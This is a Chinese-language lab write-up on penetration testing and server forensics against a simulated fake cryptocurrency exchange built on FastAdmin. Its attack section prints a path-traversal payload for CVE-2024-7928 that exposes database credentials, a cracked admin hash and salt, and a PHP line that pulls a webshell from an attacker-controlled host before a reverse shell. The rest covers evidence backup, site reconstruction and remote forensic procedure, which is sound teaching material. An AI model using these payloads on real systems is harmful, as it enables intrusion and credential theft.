免责声明:本文所提供的实验环境均是本地搭建,仅限于网络安全研究与学习。旨在为安全爱好者提供技术交流。任何个人或组织因传播、利用本文所提供的信息而进行的操作,所导致的直接或间接后果及损失,均由使用者本人负责。
灵感来源与背景
本次实验的灵感来源于基于Fastadmin框架开发的一个涉网平台。随着网络犯罪将更多数据存储于云端服务器,证据提取的复杂性与日俱增。本次模拟的场景是,作为一名安全研究员,需对某个虚假数字货币交易所平台进行渗透测试,并在获取权限后完成服务器端的电子数据取证工作。
实验环境搭建
- 靶机系统:CentOS 7.6
- 服务架构:Nginx + PHP + MySQL (此为Linux服务器常见组合,与Windows下的IIS+ASP+MSSQL或Apache+PHP+MySQL架构相对应)
渗透测试过程
1. 信息收集与初步探测
直接访问目标IP,同时进行后台扫描。这是一个虚假的数字货币交易平台,UI界面较为简单。注册账户进入后发现,前台并无明显的交互功能(如文件上传、个人信息编辑等),传统的利用点缺失。
2. 漏洞发现与利用
在对目标进行通杀漏洞扫描时,发现其存在 CVE-2024-7928 漏洞。验证payload如下:
GET /index/ajax/lang?lang=../../application/database HTTP/1.1
Host: 192.168.220.130
...
利用此漏洞成功读取到网站/application/database.php配置文件,从而获取了数据库的连接信息(主机、用户名、密码、数据库名)。
3. 数据库渗透与后台突破
在目标服务器MySQL端口允许远程连接的情况下(实战中多数受限),可直接连接数据库。查询管理员用户表,获取了管理员账号的密码哈希值与盐值。
- 密码(password):
3d66ce6a208d89bf833dd8e7ccf46fa2
- 密码盐(salt):
02a3eb
通过在线CMD5平台或本地破解,成功解密出明文密码。此方法适用于同版本的Fastadmin框架。使用破解的凭证成功登录网站后台。
4. 获取WebShell
在后台经过短暂FUZZ测试,发现一处可执行PHP代码的功能点。利用file_put_contents()结合file_get_contents()函数,从攻击者控制的服务器下载WebShell到目标服务器。
file_put_contents('/目标路径/shell.php', file_get_contents('http://攻击者IP/webshell.php'))
连接WebShell后,成功反弹一个系统Shell到攻击机,获得服务器操作权限。
电子数据取证与服务器重建
1. 关键配置文件取证
获得Shell后,首要任务是定位并备份关键的网站与服务器配置文件。
- Web中间件配置:
- Apache:
/etc/httpd/conf/httpd.conf 或 /etc/apache2/apache2.conf
- Nginx:
/etc/nginx/nginx.conf
- Tomcat:
conf/server.xml
- 数据库配置:
- MySQL:
/etc/mysql/my.cnf 或 /etc/my.cnf
- PostgreSQL:
/etc/postgresql/<version>/main/postgresql.conf
- 特定环境:若目标使用宝塔面板,网站文件通常在
/www/wwwroot,日志在/www/wwwlogs。
2. 完整站点备份与重建
将整个网站目录及数据库进行打包备份,并计算哈希值以供校验。随后,可在取证仿真环境或本地使用宝塔面板快速重建站点:
- 将源码压缩包上传至
/www/wwwroot并解压。
- 创建站点,绑定域名(内网可修改hosts文件模拟)。
- 根据备份的数据库配置信息,在面板中创建同名数据库和相应用户。
- 修改网站源码中的数据库配置文件(通常为
application/database.php),确保数据库连接信息(主机、库名、用户名、密码)与新建的一致。
- 访问站点,验证重建成功。
远程勘验取证规范流程
在正式的远程取证工作中,操作前需遵循严谨的流程,确保取证环境的清洁、网络路径的真实性与时间的准确性,以保障证据的有效性。
- 全程录屏:使用录屏软件记录所有操作过程。
- 环境清洁:对取证所用计算机进行全盘病毒查杀。
- 清理网络痕迹:
- 执行
ipconfig /flushdns 清除DNS缓存。
- 检查
C:\Windows\System32\drivers\etc\hosts 文件,确认目标域名未在此被映射。
- 检查网络设置:确认网络连接与DNS设置(建议使用114.114.114.114等公共DNS)。
- 路由追踪:执行
tracert 目标域名,截图记录网络路径。
- 清理浏览器数据:清除浏览器缓存、Cookie等历史数据。
- 时间校准:访问国家授时中心网站,校准取证计算机的系统时间。
完成以上准备工作后,方可开始对远程主机的正式渗透测试与取证操作,并依据前述步骤定位、分析关键的配置文件与日志文件,完成取证工作。整个流程体现了从攻击到取证,再到环境重建的完整Linux系统下实战路径。
|